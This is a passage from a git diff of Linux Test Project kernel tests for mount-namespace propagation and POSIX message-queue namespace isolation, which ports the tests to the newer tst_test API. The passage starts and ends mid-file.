TERRNO, cleanup, "clone failed"); + if (!SAFE_CLONE(&args)) { + child_func(); + return; + } - /* bind mounts DIRB to DIRA making contents of DIRB visible - * in DIRA */ - SAFE_MOUNT(cleanup, DIRB, DIRA, "none", MS_BIND, NULL); + SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - SAFE_UMOUNT(cleanup, DIRA); + SAFE_UMOUNT(DIRA); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - if (access(DIRA"/B", F_OK) == 0) - tst_resm(TPASS, "shared mount in child passed"); + if (access(DIRA "/B", F_OK) == 0) + tst_res(TPASS, "shared mount in child passed"); else - tst_resm(TFAIL, "shared mount in child failed"); + tst_res(TFAIL, "shared mount in child failed"); - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); + TST_CHECKPOINT_WAKE(0); + SAFE_WAIT(NULL); - SAFE_WAIT(cleanup, &status); - if (WIFEXITED(status)) { - if ((WEXITSTATUS(status) == 0)) - tst_resm(TPASS, "shared mount in parent passed"); - else - tst_resm(TFAIL, "shared mount in parent failed"); - } - if (WIFSIGNALED(status)) { - tst_resm(TBROK, "child was killed with signal %s", - tst_strsig(WTERMSIG(status))); - return; - } - - SAFE_UMOUNT(cleanup, DIRA); + SAFE_UMOUNT(DIRA); } -int main(int argc, char *argv[]) +static void setup(void) { - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) - test(); - - cleanup(); - tst_exit(); + create_folders(); } -#else -int main(void) +static void cleanup(void) { - tst_brkm(TCONF, NULL, "needed mountflags are not defined"); + umount_folders(); } -#endif + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/mountns/mountns02.c b/testcases/kernel/containers/mountns/mountns02.c index 0e0e03e4..e7a80cbb 100755 --- a/testcases/kernel/containers/mountns/mountns02.c +++ b/testcases/kernel/containers/mountns/mountns02.c @@ -1,149 +1,119 @@ -/* Copyright (c) 2014 Red Hat, Inc. - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of version 2 the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - *********************************************************************** - * File: mountns02.c +// SPDX-License-Identifier: GPL-2.0 +/* + * Copyright (c) 2014 Red Hat, Inc. + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * * Tests a private mount: private mount does not forward or receive * propagation. - * Description: - * 1. Creates directories "A", "B" and files "A/A", "B/B" - * 2. Unshares mount namespace and makes it private (so mounts/umounts - * have no effect on a real system) - * 3. Bind mounts directory "A" to "A" - * 4. Makes directory "A" private - * 5. Clones a new child process with CLONE_NEWNS flag - * 6. There are two test cases (where X is parent namespace and Y child - * namespace): - * 1) - * X: bind mounts "B" to "A" - * Y: must see "A/A" and must not see "A/B" - * X: umounts "A" - * 2) - * Y: bind mounts "B" to "A" - * X: must see "A/A" and must not see "A/B" - * Y: umounts A - ***********************************************************************/ - -#define _GNU_SOURCE + * + * [Algorithm] + * + * - Creates directories DIR_A, DIR_B and files DIR_A/"A", DIR_B/"B" + * - Unshares mount namespace and makes it private (so mounts/umounts have no + * effect on a real system) + * - Bind mounts directory DIR_A to DIR_A + * - Makes directory DIR_A private + * - Clones a new child process with CLONE_NEWNS flag + * - There are two test cases (where X is parent namespace and Y child + * namespace): + * 1. First test case + * .. X: bind mounts DIR_B to DIR_A + * .. Y: must see DIR_A/"A" and must not see DIR_A/"B" + * .. X: umounts DIR_A + * 2. Second test case + * .. Y: bind mounts DIR_B to DIR_A + * .. X: must see DIR_A/"A" and must not see DIR_A/"B" + * .. Y: umounts DIRA + */ + #include #include -#include -#include -#include "mountns_helper.h" -#include "test.h" -#include "safe_macros.h" +#include "mountns.h" +#include "tst_test.h" +#include "lapi/sched.h" -char *TCID = "mountns02"; -int TST_TOTAL = 2; - -#if defined(MS_SHARED) && defined(MS_PRIVATE) && defined(MS_REC) - -int child_func(void *arg LTP_ATTRIBUTE_UNUSED) +static void child_func(void) { - int ret = 0; - - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); + TST_CHECKPOINT_WAIT(0); - if ((access(DIRA"/A", F_OK) != 0) || (access(DIRA"/B", F_OK) == 0)) - ret = 2; + if ((access(DIRA "/A", F_OK) != 0) || (access(DIRA "/B", F_OK) == 0)) + tst_res(TFAIL, "private mount in parent failed"); + else + tst_res(TPASS, "private mount in parent passed"); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* bind mounts DIRB to DIRA making contents of DIRB visible - * in DIRA */ - if (mount(DIRB, DIRA, "none", MS_BIND, NULL) == -1) { - perror("mount"); - return 1; - } + SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - umount(DIRA); - return ret; + SAFE_UMOUNT(DIRA); } -static void test(void) +static void run(void) { - int status; + const struct tst_clone_args args = { + .flags = CLONE_NEWNS, + .exit_signal = SIGCHLD, + }; + + SAFE_UNSHARE(CLONE_NEWNS); - /* unshares the mount ns */ - if (unshare(CLONE_NEWNS) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "unshare failed"); /* makes sure parent mounts/umounts have no effect on a real system */ - SAFE_MOUNT(cleanup, "none", "/", "none", MS_REC|MS_PRIVATE, NULL); + SAFE_MOUNT("none", "/", "none", MS_REC | MS_PRIVATE, NULL); - /* bind mounts DIRA to itself */ - SAFE_MOUNT(cleanup, DIRA, DIRA, "none", MS_BIND, NULL); + SAFE_MOUNT(DIRA, DIRA, "none", MS_BIND, NULL); - /* makes mount DIRA private */ - SAFE_MOUNT(cleanup, "none", DIRA, "none", MS_PRIVATE, NULL); + SAFE_MOUNT("none", DIRA, "none", MS_PRIVATE, NULL); - if (do_clone_tests(CLONE_NEWNS, child_func, NULL, NULL, NULL) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); + if (!SAFE_CLONE(&args)) { + child_func(); + return; + } - /* bind mounts DIRB to DIRA making contents of DIRB visible - * in DIRA */ - SAFE_MOUNT(cleanup, DIRB, DIRA, "none", MS_BIND, NULL); + SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - SAFE_UMOUNT(cleanup, DIRA); + SAFE_UMOUNT(DIRA); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - if ((access(DIRA"/A", F_OK) != 0) || (access(DIRA"/B", F_OK) == 0)) - tst_resm(TFAIL, "private mount in child failed"); + if ((access(DIRA "/A", F_OK) != 0) || (access(DIRA "/B", F_OK) == 0)) + tst_res(TFAIL, "private mount in child failed"); else - tst_resm(TPASS, "private mount in child passed"); - - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); + tst_res(TPASS, "private mount in child passed"); + TST_CHECKPOINT_WAKE(0); - SAFE_WAIT(cleanup, &status); - if (WIFEXITED(status)) { - if ((WEXITSTATUS(status) == 0)) - tst_resm(TPASS, "private mount in parent passed"); - else - tst_resm(TFAIL, "private mount in parent failed"); - } - if (WIFSIGNALED(status)) { - tst_resm(TBROK, "child was killed with signal %s", - tst_strsig(WTERMSIG(status))); - return; - } + SAFE_WAIT(NULL); - SAFE_UMOUNT(cleanup, DIRA); + SAFE_UMOUNT(DIRA); } -int main(int argc, char *argv[]) +static void setup(void) { - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) - test(); - - cleanup(); - tst_exit(); + create_folders(); } -#else -int main(void) +static void cleanup(void) { - tst_brkm(TCONF, NULL, "needed mountflags are not defined"); + umount_folders(); } -#endif + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/mountns/mountns03.c b/testcases/kernel/containers/mountns/mountns03.c index 196a3614..6066d1c5 100755 --- a/testcases/kernel/containers/mountns/mountns03.c +++ b/testcases/kernel/containers/mountns/mountns03.c @@ -1,166 +1,129 @@ -/* Copyright (c) 2014 Red Hat, Inc. - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of version 2 the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - *********************************************************************** - * File: mountns03.c +// SPDX-License-Identifier: GPL-2.0 +/* + * Copyright (c) 2014 Red Hat, Inc. + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * * Tests a slave mount: slave mount is like a shared mount except that * mount and umount events only propagate towards it. * - * Description: - * 1. Creates directories "A", "B" and files "A/A", "B/B" - * 2. Unshares mount namespace and makes it private (so mounts/umounts - * have no effect on a real system) - * 3. Bind mounts directory "A" to itself - * 4. Makes directory "A" shared - * 5. Clones a new child process with CLONE_NEWNS flag and makes "A" - * a slave mount - * 6. There are two testcases (where X is parent namespace and Y child - * namespace): - * 1) - * X: bind mounts "B" to "A" - * Y: must see the file "A/B" - * X: umounts "A" - * 2) - * Y: bind mounts "B" to "A" - * X: must see only the "A/A" and must not see "A/B" (as slave - * mount does not forward propagation) - * Y: umounts "A" - ***********************************************************************/ - -#define _GNU_SOURCE + * [Algorithm] + * + * - Creates directories DIRA, DIRB and files DIRA/"A", DIRB/"B" + * - Unshares mount namespace and makes it private (so mounts/umounts have no + * effect on a real system) + * - Bind mounts directory DIRA to itself + * - Makes directory DIRA shared + * - Clones a new child process with CLONE_NEWNS flag and makes "A" a slave + * mount + * - There are two testcases (where X is parent namespace and Y child + * namespace): + * 1. First test case + * .. X: bind mounts DIRB to DIRA + * .. Y: must see the file DIRA/"B" + * .. X: umounts DIRA + * 2. Second test case + * .. Y: bind mounts DIRB to DIRA + * .. X: must see only the DIRA/"A" and must not see DIRA/"B" (as slave mount does + * not forward propagation) + * .. Y: umounts DIRA + */ + #include #include -#include -#include -#include -#include "mountns_helper.h" -#include "test.h" -#include "safe_macros.h" - -char *TCID = "mountns03"; -int TST_TOTAL = 2; +#include "mountns.h" +#include "tst_test.h" +#include "lapi/sched.h" -#if defined(MS_SHARED) && defined(MS_PRIVATE) \ - && defined(MS_REC) && defined(MS_SLAVE) - -int child_func(void *arg LTP_ATTRIBUTE_UNUSED) +static void child_func(void) { - int ret = 0; - - /* makes mount DIRA a slave of DIRA (all slave mounts have - * a master mount which is a shared mount) */ - if (mount("none", DIRA, "none", MS_SLAVE, NULL) == -1) { - perror("mount"); - return 1; - } + /* + * makes mount DIRA a slave of DIRA (all slave mounts have + * a master mount which is a shared mount) + */ + SAFE_MOUNT("none", DIRA, "none", MS_SLAVE, NULL); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* checks that shared mounts propagates to slave mount */ - if (access(DIRA"/B", F_OK) == -1) - ret = 2; + if (access(DIRA "/B", F_OK) == 0) + tst_res(TPASS, "propagation to slave mount passed"); + else + tst_res(TFAIL, "propagation to slave mount failed"); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* bind mounts DIRB to DIRA making contents of DIRB visible - * in DIRA */ - if (mount(DIRB, DIRA, "none", MS_BIND, NULL) == -1) { - perror("mount"); - return 1; - } + SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - umount(DIRA); - return ret; + SAFE_UMOUNT(DIRA); } -static void test(void) +static void run(void) { - int status; + const struct tst_clone_args args = { + .flags = CLONE_NEWNS, + .exit_signal = SIGCHLD, + }; + + SAFE_UNSHARE(CLONE_NEWNS); - /* unshares the mount ns */ - if (unshare(CLONE_NEWNS) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "unshare failed"); /* makes sure parent mounts/umounts have no effect on a real system */ - SAFE_MOUNT(cleanup, "none", "/", "none", MS_REC|MS_PRIVATE, NULL); + SAFE_MOUNT("none", "/", "none", MS_REC | MS_PRIVATE, NULL); - /* bind mounts DIRA to itself */ - SAFE_MOUNT(cleanup, DIRA, DIRA, "none", MS_BIND, NULL); + SAFE_MOUNT(DIRA, DIRA, "none", MS_BIND, NULL); - /* makes mount DIRA shared */ - SAFE_MOUNT(cleanup, "none", DIRA, "none", MS_SHARED, NULL); + SAFE_MOUNT("none", DIRA, "none", MS_SHARED, NULL); - if (do_clone_tests(CLONE_NEWNS, child_func, NULL, NULL, NULL) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "clone failed"); + if (!SAFE_CLONE(&args)) { + child_func(); + return; + } - /* waits for child to make a slave mount */ - TST_SAFE_CHECKPOINT_WAIT(cleanup, 0); + TST_CHECKPOINT_WAIT(0); - /* bind mounts DIRB to DIRA making contents of DIRB visible - * in DIRA */ - SAFE_MOUNT(cleanup, DIRB, DIRA, "none", MS_BIND, NULL); + SAFE_MOUNT(DIRB, DIRA, "none", MS_BIND, NULL); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - SAFE_UMOUNT(cleanup, DIRA); + SAFE_UMOUNT(DIRA); - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(cleanup, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); - /* checks that slave mount doesn't propagate to shared mount */ - if ((access(DIRA"/A", F_OK) == 0) && (access(DIRA"/B", F_OK) == -1)) - tst_resm(TPASS, "propagation from slave mount passed"); + if ((access(DIRA "/A", F_OK) == 0) && (access(DIRA "/B", F_OK) == -1)) + tst_res(TPASS, "propagation from slave mount passed"); else - tst_resm(TFAIL, "propagation form slave mount failed"); - - TST_SAFE_CHECKPOINT_WAKE(cleanup, 0); + tst_res(TFAIL, "propagation form slave mount failed"); + TST_CHECKPOINT_WAKE(0); - SAFE_WAIT(cleanup, &status); - if (WIFEXITED(status)) { - if (WEXITSTATUS(status) == 0) - tst_resm(TPASS, "propagation to slave mount passed"); - else - tst_resm(TFAIL, "propagation to slave mount failed"); - } - if (WIFSIGNALED(status)) { - tst_resm(TBROK, "child was killed with signal %s", - tst_strsig(WTERMSIG(status))); - return; - } + SAFE_WAIT(NULL); - SAFE_UMOUNT(cleanup, DIRA); + SAFE_UMOUNT(DIRA); } -int main(int argc, char *argv[]) +static void setup(void) { - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) - test(); - - cleanup(); - tst_exit(); + create_folders(); } -#else -int main(void) +static void cleanup(void) { - tst_brkm(TCONF, NULL, "needed mountflags are not defined"); + umount_folders(); } -#endif + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .needs_root = 1, + .forks_child = 1, + .needs_checkpoints = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/mountns/mountns04.c b/testcases/kernel/containers/mountns/mountns04.c index 1f022a68..7b4dcb16 100755 --- a/testcases/kernel/containers/mountns/mountns04.c +++ b/testcases/kernel/containers/mountns/mountns04.c @@ -1,89 +1,68 @@ -/* Copyright (c) 2014 Red Hat, Inc. - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of version 2 the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - *********************************************************************** - * File: mountns04.c +// SPDX-License-Identifier: GPL-2.0 +/* + * Copyright (c) 2014 Red Hat, Inc. + * Copyright (C) 2021 SUSE LLC Andrea Cervesato + */ + +/*\ + * [Description] * * Tests an unbindable mount: unbindable mount is an unbindable * private mount. - * Description: - * 1. Creates directories "A", "B" and files "A/A", "B/B" - * 2. Unshares mount namespace and makes it private (so mounts/umounts - * have no effect on a real system) - * 3. Bind mounts directory "A" to "A" - * 4. Makes directory directory "A" unbindable - * 5. Tries to bind mount unbindable "A" to "B": - * - if it fails, test passes - * - if it passes, test fails - ***********************************************************************/ + * + * - Creates directories DIRA, DIRB and files DIRA/"A", DIRB/"B" + * - Unshares mount namespace and makes it private (so mounts/umounts have no + * effect on a real system) + * - Bind mounts directory DIRA to DIRA + * - Makes directory DIRA unbindable + * - Check if bind mount unbindable DIRA to DIRB fails as expected + */ -#define _GNU_SOURCE #include #include -#include -#include -#include "mountns_helper.h" -#include "test.h" -#include "safe_macros.h" - -char *TCID = "mountns04"; -int TST_TOTAL = 1; - -#if defined(MS_SHARED) && defined(MS_PRIVATE) \ - && defined(MS_REC) && defined(MS_UNBINDABLE) +#include "mountns.h" +#include "tst_test.h" +#include "lapi/sched.h" -static void test(void) +static void run(void) { - /* unshares the mount ns */ - if (unshare(CLONE_NEWNS) == -1) - tst_brkm(TBROK | TERRNO, cleanup, "unshare failed"); + SAFE_UNSHARE(CLONE_NEWNS); + /* makes sure mounts/umounts have no effect on a real system */ - SAFE_MOUNT(cleanup, "none", "/", "none", MS_REC|MS_PRIVATE, NULL); + SAFE_MOUNT("none", "/", "none", MS_REC | MS_PRIVATE, NULL); + + SAFE_MOUNT(DIRA, DIRA, "none", MS_BIND, NULL); - /* bind mounts DIRA to itself */ - SAFE_MOUNT(cleanup, DIRA, DIRA, "none", MS_BIND, NULL); - /* makes mount DIRA unbindable */ - SAFE_MOUNT(cleanup, "none", DIRA, "none", MS_UNBINDABLE, NULL); + SAFE_MOUNT("none", DIRA, "none", MS_UNBINDABLE, NULL); - /* tries to bind mount unbindable DIRA to DIRB which should fail */ if (mount(DIRA, DIRB, "none", MS_BIND, NULL) == -1) { - tst_resm(TPASS, "unbindable mount passed"); + tst_res(TPASS, "unbindable mount passed"); } else { - SAFE_UMOUNT(cleanup, DIRB); - tst_resm(TFAIL, "unbindable mount faled"); + SAFE_UMOUNT(DIRB); + tst_res(TFAIL, "unbindable mount faled"); } - SAFE_UMOUNT(cleanup, DIRA); + SAFE_UMOUNT(DIRA); } -int main(int argc, char *argv[]) +static void setup(void) { - int lc; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) - test(); - - cleanup(); - tst_exit(); + create_folders(); } -#else -int main(void) +static void cleanup(void) { - tst_brkm(TCONF, NULL, "needed mountflags are not defined"); + umount_folders(); } -#endif + +static struct tst_test test = { + .setup = setup, + .cleanup = cleanup, + .test_all = run, + .needs_root = 1, + .needs_tmpdir = 1, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL, + }, +}; diff --git a/testcases/kernel/containers/mqns/Makefile b/testcases/kernel/containers/mqns/Makefile index 64c3763e..01e90ec3 100755 --- a/testcases/kernel/containers/mqns/Makefile +++ b/testcases/kernel/containers/mqns/Makefile @@ -1,29 +1,12 @@ -################################################################################ -## ## -## Copyright (c) International Business Machines Corp., 2009 ## -## Copyright (c) Nadia Derbey, 2009 ## -## ## -## This program is free software; you can redistribute it and#or modify ## -## it under the terms of the GNU General Public License as published by ## -## the Free Software Foundation; either version 2 of the License, or ## -## (at your option) any later version. ## -## ## -## This program is distributed in the hope that it will be useful, but ## -## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ## -## or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License ## -## for more details. ## -## ## -## You should have received a copy of the GNU General Public License ## -## along with this program; if not, write to the Free Software ## -## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA ## -## ## -################################################################################ +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) International Business Machines Corp., 2009 +# Copyright (c) Nadia Derbey, 2009 +# Copyright (C) 2021 SUSE LLC Andrea Cervesato top_srcdir ?= ../../../.. include $(top_srcdir)/include/mk/testcases.mk -include $(abs_srcdir)/../Makefile.inc -LDLIBS := -lpthread -lrt -lclone $(LDLIBS) +LDLIBS := -lrt $(LDLIBS) include $(top_srcdir)/include/mk/generic_leaf_target.mk diff --git a/testcases/kernel/containers/mqns/mqns_01.c b/testcases/kernel/containers/mqns/mqns_01.c index b4364ce9..d9f6e6c1 100755 --- a/testcases/kernel/containers/mqns/mqns_01.c +++ b/testcases/kernel/containers/mqns/mqns_01.c @@ -1,148 +1,86 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* -* Copyright (c) International Business Machines Corp., 2009 -* Copyright (c) Nadia Derbey, 2009 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -* Author: Nadia Derbey -* -* Check mqns isolation: father mqns cannot be accessed from newinstance -* -* Mount mqueue fs -* Create a posix mq -->mq1 -* unshare -* In unshared process: -* Mount newinstance mqueuefs -* Check that mq1 is not readable from new ns + * Copyright (c) International Business Machines Corp., 2009 + * Copyright (c) Nadia Derbey, 2009 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ -***************************************************************************/ +/*\ + * [Description] + * + * Create a mqueue inside the parent and check if it can be accessed from + * the child namespace. Isolated and unshared process can't access to parent, + * but plain process can. + */ -#ifndef _GNU_SOURCE -#define _GNU_SOURCE -#endif -#include -#include -#include -#include -#include -#include -#include "mqns.h" -#include "mqns_helper.h" +#include "tst_test.h" +#include "lapi/sched.h" +#include "tst_safe_posix_ipc.h" -char *TCID = "posixmq_namespace_01"; -int TST_TOTAL = 1; +#define MQNAME "/MQ1" -int p1[2]; -int p2[2]; +static mqd_t mqd; +static char *str_op; -int check_mqueue(void *vtest) +static void run(void) { - char buf[30]; - mqd_t mqd; + const struct tst_clone_args clone_args = { + .flags = CLONE_NEWIPC, + .exit_signal = SIGCHLD, + }; - (void) vtest; + tst_res(TINFO, "Checking namespaces isolation from parent to child"); - close(p1[1]); - close(p2[0]); + if (str_op && !strcmp(str_op, "clone")) { + tst_res(TINFO, "Spawning isolated process"); - if (read(p1[0], buf, strlen("go") + 1) < 0) { - printf("read(p1[0], ...) failed: %s\n", strerror(errno)); - exit(1); - } - mqd = ltp_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDONLY); - if (mqd == -1) { - if (write(p2[1], "notfnd", strlen("notfnd") + 1) < 0) { - perror("write(p2[1], ...) failed"); - exit(1); + if (!SAFE_CLONE(&clone_args)) { + TST_EXP_FAIL(mq_open(MQNAME, O_RDONLY), ENOENT); + return; + } + } else if (str_op && !strcmp(str_op, "unshare")) { + tst_res(TINFO, "Spawning unshared process"); + + if (!SAFE_FORK()) { + SAFE_UNSHARE(CLONE_NEWIPC); + TST_EXP_FAIL(mq_open(MQNAME, O_RDONLY), ENOENT); + return; } } else { - if (write(p2[1], "exists", strlen("exists") + 1) < 0) { - perror("write(p2[1], \"exists\", 7) failed"); - exit(1); - } else if (mq_close(mqd) < 0) { - perror("mq_close(mqd) failed"); - exit(1); + tst_res(TINFO, "Spawning plain process"); + + if (!SAFE_FORK()) { + TST_EXP_POSITIVE(mq_open(MQNAME, O_RDONLY)); + return; } } - - exit(0); } static void setup(void) { - tst_require_root(); - check_mqns(); + mqd = SAFE_MQ_OPEN(MQNAME, O_RDWR | O_CREAT | O_EXCL, 0777, NULL); } -int main(int argc, char *argv[]) +static void cleanup(void) { - int r; - mqd_t mqd; - char buf[30]; - int use_clone = T_UNSHARE; - - setup(); - - if (argc == 2 && strcmp(argv[1], "-clone") == 0) { - tst_resm(TINFO, - "Testing posix mq namespaces through clone(2)."); - use_clone = T_CLONE; - } else - tst_resm(TINFO, - "Testing posix mq namespaces through unshare(2)."); - - if (pipe(p1) == -1 || pipe(p2) == -1) { - tst_brkm(TBROK | TERRNO, NULL, "pipe failed"); - } - - mqd = ltp_syscall(__NR_mq_open, NOSLASH_MQ1, O_RDWR | O_CREAT | O_EXCL, - 0777, NULL); - if (mqd == -1) { - perror("mq_open"); - tst_brkm(TFAIL, NULL, "mq_open failed"); + if (mqd != -1) { + SAFE_MQ_CLOSE(mqd); + SAFE_MQ_UNLINK(MQNAME); } - - tst_resm(TINFO, "Checking namespaces isolation from parent to child"); - /* fire off the test */ - r = do_clone_unshare_test(use_clone, CLONE_NEWIPC, check_mqueue, NULL); - if (r < 0) { - tst_resm(TFAIL, "failed clone/unshare"); - mq_close(mqd); - ltp_syscall(__NR_mq_unlink, NOSLASH_MQ1); - tst_exit(); - } - - close(p1[0]); - close(p2[1]); - if (write(p1[1], "go", strlen("go") + 1) < 0) - tst_resm(TBROK | TERRNO, "write(p1[1], \"go\", ...) failed"); - else if (read(p2[0], buf, 7) < 0) - tst_resm(TBROK | TERRNO, "read(p2[0], buf, ...) failed"); - else { - if (!strcmp(buf, "exists")) { - tst_resm(TFAIL, "child process found mqueue"); - } else if (!strcmp(buf, "notfnd")) { - tst_resm(TPASS, "child process didn't find mqueue"); - } else { - tst_resm(TFAIL, "UNKNOWN RESULT"); - } - } - - /* destroy the mqueue */ - if (mq_close(mqd) == -1) { - tst_brkm(TBROK | TERRNO, NULL, "mq_close failed"); - } - ltp_syscall(__NR_mq_unlink, NOSLASH_MQ1); - - tst_exit(); } + +static struct tst_test test = { + .test_all = run, + .setup = setup, + .cleanup = cleanup, + .needs_root = 1, + .forks_child = 1, + .options = (struct tst_option[]) { + { "m:", &str_op, "Child process isolation " }, + {}, + }, + .needs_kconfigs = (const char *[]) { + "CONFIG_USER_NS", + NULL + }, +}; diff --git a/testcases/kernel/containers/mqns/mqns_02.c b/testcases/kernel/containers/mqns/mqns_02.c index 85edf91f..4348be7f 100755 --- a/testcases/kernel/containers/mqns/mqns_02.c +++ b/testcases/kernel/containers/mqns/mqns_02.c @@ -1,180 +1,114 @@ +// SPDX-License-Identifier: GPL-2.0 /* -* Copyright (c) International Business Machines Corp., 2009 -* Copyright (c) Nadia Derbey, 2009 -* This program is free software; you can redistribute it and/or modify -* it under the terms of the GNU General Public License as published by -* the Free Software Foundation; either version 2 of the License, or -* (at your option) any later version. -* -* This program is distributed in the hope that it will be useful, -* but WITHOUT ANY WARRANTY; without even the implied warranty of -* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See -* the GNU General Public License for more details. -* You should have received a copy of the GNU General Public License -* along with this program; if not, write to the Free Software -* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA -* -* Author: Nadia Derbey -* -* Check mqns isolation: child mqns cannot be accessed from father -* -* Mount mqueue fs -* unshare -* In unshared process: -* Mount newinstance mqueuefs -* Create a posix mq -->mq1 -* Check that mq1 is not readable from father -* -* Changelog: -* Dec 16: accomodate new mqns semantics (Serge Hallyn) - -***************************************************************************/ - -#ifndef _GNU_SOURCE -#define _GNU_SOURCE -#endif -#include -#include -#include -#include -#include -#include -#include "mqns.h" -#include "mqns_helper.h" - -char *TCID = "posixmq_namespace_02"; -int TST_TOTAL = 1; - -int p1[2]; -int p2[2]; - -int check_mqueue(void *vtest) -{ - char buf[30]; - mqd_t mqd; + * Copyright (c) International Business Machines Corp., 2009 + * Copyright (c) Nadia Derbey, 2009 + * Copyright (C) 2023 SUSE LLC Andrea Cervesato + */ - (void) vtest; +/*\ + * [Description] + * + * Create a mqueue with the same name in both parent and isolated/forked child, + * then check namespace isolation. + */ - close(p1[1]); - close(p2[0]); +#include "tst_test.h" +#include "lapi/sched.h" +#include "tst_safe_posix_ipc.h" - if (read(p1[0], buf, 3) < 0) { - perror("read(p1[0], ..) failed"); - exit(1); - } else { +#define MQNAME "/MQ1" - mqd = - ltp_syscall(__NR_mq_open, NOSLASH_MQ1, - O_RDWR | O_CREAT | O_EXCL, 0777, NULL); - if (mqd == -1) { - if (write(p2[1], "mqfail", strlen("mqfail") + 1) < 0) { - perror("write(p2[1], \"mqfail\", ..) failed"); - exit(1); - } - } else { - - if (write(p2[1], "mqopen", strlen("mqopen") + 1) < 0) { - perror("write(p2[1], \"mqopen\", ..) failed"); - exit(1); - } else { - - if (read(p1[0], buf, 5) < 0) { - perror("read(p1[0], ..) failed"); - exit(1); - } else { - - /* destroy the mqueue */ - if (mq_close(mqd) < 0) 